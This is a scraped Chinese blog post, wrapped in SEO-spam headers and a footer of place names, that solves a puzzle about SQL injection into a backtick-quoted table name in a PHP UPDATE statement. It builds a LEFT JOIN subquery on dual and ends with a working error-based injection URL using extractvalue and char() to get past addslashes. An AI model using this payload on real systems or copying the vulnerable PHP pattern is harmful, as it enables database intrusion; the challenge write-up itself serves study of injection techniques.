国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 開發(fā)設(shè)計 > 正文

關(guān)于一個sql注入注入題目的思考

2019-11-08 20:30:18
字體:
供稿:網(wǎng)友

p牛在群里面出了一個好玩的題目,正好晚上空虛寂寞冷,就做一下暖暖身子,題目是:

<?php$link = MySQLi_connect('localhost', 'root', 'root');mysqli_select_db($link, 'code');$table = addslashes($_GET['table']);$sql = "UPDATE `{$table}` SET `username`='admin' WHERE id=1";if(!mysqli_query($link, $sql)) { echo(mysqli_error($link));}mysqli_close($link);

首先一看,這個題目有幾個坑,首先update下的注入不是很常見,第二因為有addslashes的存在,整個注入不能出現(xiàn)單引號,雙引號和斜線等,第三就是這個sql語句沒有寫在一行代碼里面,所以不能用單行注釋把后面的語句注釋掉 這樣導(dǎo)致整個注入語句只能在UPDATE {$table}發(fā)揮了 首先查一下mysql update的用法: http://www.cnblogs.com/ggjucheng/archive/2012/11/06/2756392.html 這個文章在末尾有個很有用的提示:但是multiple-table UPDATE語句可以使用在SELECT語句中允許的任何類型的聯(lián)合,比如LEFT JOIN 這個于是我就搜到另一個文章:Mysql跨表更新 多表update sql語句總結(jié)(http://www.jb51.net/article/32648.htm) 里面有幾個簡單的用到LEFT JOIN的例子,但是似乎還不夠,我希望能引入一個子查詢,于是我找到了另一個文章:http://blog.csdn.net/catoop/article/details/46670911 這個文章里面有個例子不錯:

UPDATE student D LEFT JOIN (SELECT B.studentId, SUM(B.score) AS s_sum, ROUND(AVG(B.score),1) AS s_avg FROM score B WHERE b.examTime >= '2015-03-10' GROUP BY B.studentId) C ON (C.studentId = D.id) SET D.score_sum = c.s_sum, D.score_avg = c.s_avg WHERE D.id = ( SELECT E.id FROM ( SELECT DISTINCT a.studentId AS id FROM score A WHERE A.examTime >= '2015-03-10' ) E WHERE E.id = D.id ) AND d.age = 1;

可以看到他引入了子查詢在update語句里面,而且子查詢的位置剛剛好在我想要的地方,于是我構(gòu)造一個這樣的子查詢:

update `table` t left join (select id from `table`) tt on tt.user=t.username set username ='admin' where id=1;

但是報錯:ERROR 1052 (23000): Column ‘id’ in where clause is ambiguous 原因是:是因為多表查詢的時候幾個表中同時出現(xiàn)了某個相同的列名, 所以不能出現(xiàn)相同的列名,但是,我除了table表以外不知道數(shù)據(jù)庫的其他表了,或者根本就只有一個表,所以我就要用mysql的虛表dual,

update `table` t left join (select ‘1’ as user from dual) tt on tt.user=t.username set username ='admin' where id=1;

我這里用select ‘1’ as user from dual 把’1’這個字段重命名是要滿足后面on的條件,及:on tt.user=t.username 而且這里要用‘1’而不是用數(shù)字是因為tale表里面的username類型是varchar類型 執(zhí)行后面發(fā)現(xiàn)可以正常更新,也就是說成功的引入了一個子查詢在我想要的地方,那么后面的事情就簡單很多了,直接引入一個報錯注入的語句在子查詢里面就可以了初期的答案是:

table` t left join (select '1' as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username

注入后完整sql語句

update `table` t left join (select /‘1/’ as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username` set username ='admin' where id=1

我很快的發(fā)現(xiàn)兩個問題 1.注入后的反引號沒有閉合2.就是單引號被轉(zhuǎn)義掉了 解決第一個問題就是在on的最后一個字段上加入一個反引號,讓他和后面的的反引號閉合 解決第二個問題就是把出現(xiàn)單引號的位置用char函數(shù)代替 于是完美的答案就出現(xiàn)了:

http://localhost/code.php?table=table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username

注入之后的sql語句是是:

update `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username` set username ='admin' where id=1;

注入后的完美結(jié)果


發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 辽阳市| 巨野县| 开阳县| 临潭县| 崇明县| 二连浩特市| 陕西省| 宝清县| 四子王旗| 万全县| 马龙县| 惠水县| 浦县| 土默特右旗| 吐鲁番市| 汉寿县| 广宁县| 凉山| 长海县| 洮南市| 太仆寺旗| 上饶市| 昭平县| 宁明县| 南乐县| 昌图县| 梁河县| 芜湖市| 香格里拉县| 汾西县| 上高县| 定安县| 岗巴县| 大冶市| 宜君县| 哈巴河县| 讷河市| 昌邑市| 深州市| 彰化市| 连州市|